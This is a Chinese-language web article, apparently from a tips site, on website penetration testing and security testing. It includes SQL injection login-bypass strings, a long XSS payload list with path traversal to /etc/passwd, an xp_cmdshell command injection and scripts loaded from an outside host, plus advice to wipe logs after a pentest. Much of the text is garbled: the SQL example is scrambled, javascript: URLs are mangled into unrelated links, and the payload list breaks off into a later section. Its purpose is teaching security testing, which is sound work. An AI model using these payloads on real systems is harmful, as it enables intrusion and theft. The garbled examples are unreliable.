如何對網站進行滲透測試和漏洞掃描網站安全性測試報告 _經驗分享

網站安全滲透測試怎么做？信息收集：
1、獲取域名的whois信息,獲取注冊者郵箱姓名電話等。
2、查詢服務器旁站以及子域名站點，因為主站一般比較難，所以先看看旁站有沒有通用性的cms或者其他漏洞。
3、查看服務器操作系統版本，web中間件，看看是否存在已知的漏洞，比如IIS，APACHE,NGINX的解析漏洞。
4、查看IP，進行IP地址端口掃描，對響應的端口進行漏洞探測，比如 rsync,心臟出血，mysql,ftp,ssh弱口令等。
5、掃描網站目錄結構，看看是否可以遍歷目錄，或者敏感文件泄漏，比如php探針。
6、google hack 進一步探測網站的信息，后臺，敏感文件。
漏洞掃描：
開始檢測漏洞，如XSS,XSRF,sql注入，代碼執行，命令執行，越權訪問，目錄讀取，任意文件讀取，下載，文件包含，遠程命令執行，弱口令，上傳，編輯器漏洞，暴力破解等。
漏洞利用：
利用以上的方式拿到webshell，或者其他權限。
權限提升：
提權服務器，比如windows下mysql的udf提權。
日志清理：
結束滲透測試工作需要做的事情，抹除自己的痕跡。
總結報告及修復方案：
報告上包括：
1、對本次網站滲透測試的一個總概括，發現幾個漏洞，有幾個是高危的漏洞，幾個中危漏洞，幾個低危漏洞。
2、對漏洞進行詳細的講解，比如是什么類型的漏洞，漏洞名稱，漏洞危害，漏洞具體展現方式，修復漏洞的方法。
如何對網站進行滲透測試和漏洞掃描？1、滲透測試 (penetration test)并沒有一個標準的定義，國外一些安全組織達成共識的通用說法是:滲透測試是通過模擬惡意黑客的攻擊方法，來評估計算機網絡系統安全的一種評估方法。這個過程包括對系統的任何弱點、技術缺陷或漏洞的主動分析，這個分析是從一個攻擊者可能存在的位置來進行的，并且從這個位置有條件主動利用安全漏洞。
2、滲透測試能夠通過識別安全問題來幫助一個單位理解當前的安全狀況。這使促使許多單位開發操作規劃來減少攻擊或誤用的威脅。
3、滲透測試有時是作為外部審查的一部分而進行的。這種測試需要探查系統，以發現操作系統和任何網絡服務，并檢查這些網絡服務有無漏洞。你可以用漏洞掃描器完成這些任務，但往往專業人士用的是不同的工具，而且他們比較熟悉這類替代性工具。
4、滲透測試的作用一方面在于，解釋所用工具在探查過程中所得到的結果。只要手頭有漏洞掃描器，誰都可以利用這種工具探查防火墻或者是網絡的某些部分。但很少有人能全面地了解漏洞掃描器得到的結果，更別提另外進行測試，并證實漏洞掃描器所得報告的準確性了。
5、漏洞掃描是指基于漏洞數據庫，通過掃描等手段對指定的遠程或者本地計算機系統的安全脆弱性進行檢測，發現可利用漏洞的一種安全檢測(滲透攻擊)行為。
6、漏洞掃描技術是一類重要的網絡安全技術。它和防火墻、入侵檢測系統互相配合，能夠有效提高網絡的安全性。通過對網絡的掃描，網絡管理員能了解網絡的安全設置和運行的應用服務，及時發現安全漏洞，客觀評估網絡風險等級。網絡管理員能根據掃描的結果更正網絡安全漏洞和系統中的錯誤設置，在黑客攻擊前進行防范。如果說防火墻和網絡監視系統是被動的防御手段，那么安全掃描就是一種主動的防范措施，能有效避免黑客攻擊行為，做到防患于未然。
7、網絡安全事故后可以通過網絡漏洞掃描/網絡評估系統分析確定網絡被攻擊的漏洞所在，幫助彌補漏洞，盡可能多得提供資料方便調查攻擊的來源。
8、互聯網的安全主要分為網絡運行安全和信息安全兩部分。網絡運行的安全主要包括以ChinaNet、ChinaGBN、CNCnet等10大計算機信息系統的運行安全和其它專網的運行安全;信息安全包括接入Internet的計算機、服務器、工作站等用來進行采集、加工、存儲、傳輸、檢索處理的人機系統的安全。網絡漏洞掃描/網絡評估系統能夠積極的配合公安、保密部門組織的安全性檢查。

如何進行WEB安全性測試安全性測試主要從以下方面考慮主要從以下方面考慮： WEB 的安全性測試主要從以下方面考慮： Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何進行 SQL 注入測試? 首先找到帶有參數傳遞的 URL 頁面,如搜索頁面,登錄頁面,提交評論頁面等等. 注 1:對于未明顯標識在 URL 中傳遞參數的,可以通過查看 HTML 源代碼中的 "FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個參數傳遞都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="https://pipe99.com/media/images/site/search_btn.gif" /> <a class="fl">Gamefinder</a> </div> </form> 注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其次,在 URL 參數或表單中加入某些特殊的 SQL 語句或 SQL 片斷,如在登錄頁面的 URL 中輸入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根據實際情況,SQL 注入請求可以使用以下語句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：為什么是 OR，以及',――是特殊的字符呢？例子：在登錄時進行身份驗證時，通常使用如下語句來進行驗證：sql=select * from user where username='username' and pwd='password' 如輸入 http://duck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 語句會變成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將按下一個查詢條件來執行. 接下來是 OR 查詢條件,OR 是一個邏輯運算符，在判斷多個條件的時候，只要一個成立，則等式就成立，后面的 AND 就不再時行判斷了，也就是說我們繞過了密碼驗證，我們只用用戶名就可以登錄. 如輸入 http://duck/index.asp?username=admin'--&pwd=11，SQL 語 admin'-admin'-11 句會變成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將按下一個查詢條件來執行接下來是"--"查詢條件,“--”是忽略或注釋,上述通過連接符注釋掉后面的密碼驗證(注:對 ACCESS 數據庫數據庫無效). 最后,驗證是否能入侵成功或是出錯的信息是否包含關于數據庫服務器的相關信息;如果能說明存在 SQL 安全漏洞. 試想,如果網站存在 SQL 注入的危險,對于有經驗的惡意用戶還可能猜出數據庫表和表結構,并對數據庫表進行增\刪\改的操作,這樣造成的后果是非常嚴重的. (2)如何預防 SQL 注入? 從應用程序的角度來講,我們要做以下三項工作工作: 工作轉義敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”, 和”空格”). 屏蔽出錯信息：阻止攻擊者知道攻擊的結果在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字符的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端拒絕進行關鍵性的處理操作. 從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗以下幾項安全性問題: 需求中應說明表單中某一 FIELD 的類型,長度,以及取值范圍(主要作用就是禁止輸入敏感字符) 需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序應給出不包含任何代碼或數據庫信息的錯誤提示. 當然在執行測試的過程中,我們也需求對上述兩項內容進行測試. 2.Crossscritping(XSS):(跨站點腳本攻擊跨站點腳本攻擊) 2.Cross-site scritping(XSS):(跨站點腳本攻擊) (1)如何進行 XSS 測試? 首先,找到帶有參數傳遞的 URL,如交評論,發表留言頁面等等。登錄頁面,搜索頁面,提 其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 測試語句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="https://pipe99.com/wfggzx/javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt&gt <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');"> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert("XSS")> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')> <IMG SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')> <IMG SRC="https://pipe99.com/wfggzx/jav ascrīpt:alert('XSS');"> <IMG SRC="https://pipe99.com/wfggzx/jav ascrīpt:alert('XSS');"> <IMG SRC="https://pipe99.com/wfggzx/jav ascrīpt:alert('XSS');"> "<IMG SRC=https://pipe99.com/wfggzx/java/0scrīpt:alert(/"XSS\")>";' > out <IMG SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS')"> <IMG LOWSRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS')"> <BGSOUND SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" > <IMG SRC='https://pipe99.com/wfggzx/vbscrīpt:msgbox("XSS")'> <IMG SRC="https://pipe99.com/wfggzx/mocha:[code]"> <IMG SRC="https://pipe99.com/wfggzx/livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=https://pipe99.com/wfggzx/javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE > getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="https://pipe99.com/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="https://pipe99.com/wfggzx/javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< 因為“
”是新行，如果在 subject 中輸入“hello
cc:spamvictim@example.com”，可能會形成以下 Subject: hello cc: spamvictim@example.com 如果允許用戶使用這樣的其它用 subject，那他可能會給利用這個缺陷通過我們的平臺給其它戶發送垃其它圾郵件。Traversal(目錄遍歷目錄遍歷) 5.Directory Traversal(目錄遍歷) （1）如何進行目錄遍歷測試？目錄遍歷產生的原因是：程序中沒有過濾用戶輸入的“../”和“./”之類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷服務器上的任意文件。測試方法： URL 中輸入一定數量的在 “../” “./” 驗證系統是否 ESCAPE 和，掉了這些目錄跳轉符。（2）如何預防目錄遍歷？限制 Web 應用在服務器上的運行進行嚴格的輸入驗證，控制用戶輸入非法路徑 messages(錯誤信息錯誤信息) 6.exposed error messages(錯誤信息) （1）如何進行測試？首先找到一些錯誤頁面，比如 404,或 500 頁面。驗證在調試未開通過的情況下，是否給出了友好的錯誤提示信息比如“你訪問的頁面不存在”等，而并非曝露一些程序代碼。（2）如何預防？測試人員在進行需求檢查時，應該對出錯信息進行詳細查，比如是否給出了出錯信息，是否給出了正確的出錯信息。
如何保證網站的安全性(1)確保網站服務器安全
盡可能選擇安全性較高、穩定性較強的服務器，同時，服務器各種安全補丁一定要及時更新，定期進行安全檢查，對服務器和網站開展全面的安全檢測，以防存在安全隱患，要及時修復安全漏洞。
(2)確保網站程序安全
程序是網絡入侵的有效途徑之一。
a. 網站在開發過程中要選擇安全的語言;
b. 保障網站后臺安全，分配好后臺管理權限，在網站后期，避免后臺人為誤操作，必要時可采購堡壘機加強安全防護;
c. 注意網站程序各方面的安全性測試，包括防止SQL注入、密碼加密、數據備份、使用驗證碼等方面，加強安全保護措施。
【如何對網站進行滲透測試和漏洞掃描網站安全性測試報告】(3)及時更新軟件
時刻關注內容管理系統、主題以及插件推出的更新，預防網絡攻擊者任何見縫插針的機會，必要時可以設置自動更新。
(4)及時備份網站數據
數據是重點保護對象，定期數據備份對網站發生異常后的數據恢復非常必要，由于用戶數據每天都在更新，數據庫要做到日備份，最大程度地保證用戶數據不被丟失。
(5)不使用弱口令
攻擊者往往從弱口令尋找突破點，不論是企業網站還是其他的，都需要強密碼進行基本的保護，設置最少8到10個字符的強密碼是最好的，或者設置雙重驗證來提高網站的安全性，在密碼中配合使用大寫字母，小寫字母，數字和符號的組合。
(6)咨詢安全人員
網站建設既要平時加強安全防范，又要及時應對突發的安全狀況，當遇到突發安全狀況時，比如網站被入侵，應及時尋求安全專家提供幫助，減少突發網絡安全事件帶來的損失。
給你一個網站,你如何做測試?網站測試分以下幾方面內容:

性能測試
（1）連接速度測試：用戶連接到電子商務網的速度與上網方式有關，他們或許是電話撥號，或是寬帶上網，打開速度越快的網站，越受用戶喜愛。
（2）負載測試：負載測試是在某一負載級別下，檢測電子商務系統的實際性能。允許多少個用戶同時在線，可以通過相應的軟件在一臺客戶機上模擬多個用戶來測試負載。
（3）壓力測試：壓力測試是測試系統的限制和故障恢復能力，也就是測試電子商務系統會不會崩潰。

安全性測試
對網站的安全性（服務器安全，腳本安全）可能有的漏洞測試，攻擊性測試，錯誤性測試。對電子商務的客戶服務器應用程序、數據、服務器、網絡、防火墻等進行測試。用相對應的軟件進行測試。

基本測試
包括色彩的搭配，連接的正確性，導航的方便和正確，CSS應用的統一性。

網站優化測試
（1）引擎優化測試：好的網站是看它是否經過搜索引擎優化了，網站的架構、網頁的欄目與靜態情況等。
（2）用戶優化測試：用戶來到網站能能夠在3-5次，找到其需要的內容。方便用戶的網站倍受用戶的親昵。

功能實現：網站現有版本，需求是否完全實現。滿足需求的網站才是有用的網站。

如何進行WEB安全性測試安全性測試
產品滿足需求提及的安全能力
n 應用程序級別的安全性，包括對數據或業務功能的訪問，應
用程序級別的安全性可確保：在預期的安全性情況下，主角
只能訪問特定的功能或用例，或者只能訪問有限的數據。例
如，可能會允許所有人輸入數據，創建新賬戶，但只有管理
員才能刪除這些數據或賬戶。如果具有數據級別的安全性，
測試就可確保“用戶類型一” 能夠看到所有客戶消息（包括
財務數據），而“用戶二”只能看見同一客戶的統計數據。
n 系統級別的安全性，包括對系統的登錄或遠程訪問。
系統級別的安全性可確保只有具備系統訪問權限的用戶才能
訪問應用程序，而且只能通過相應的網關來訪問。
安全性測試應用
防SQL漏洞掃描
– Appscan
n防XSS、防釣魚
– RatProxy、Taint、Netsparker
nget、post -> 防止關鍵信息顯式提交
– get：顯式提交
– post：隱式提交
ncookie、session
– Cookie欺騙
關于網站安全性測試和網站安全性測試報告的內容就分享到這兒！更多實用知識經驗，盡在 m.apearl.cn

如何對網站進行滲透測試和漏洞掃描 網站安全性測試報告

如何對網站進行滲透測試和漏洞掃描網站安全性測試報告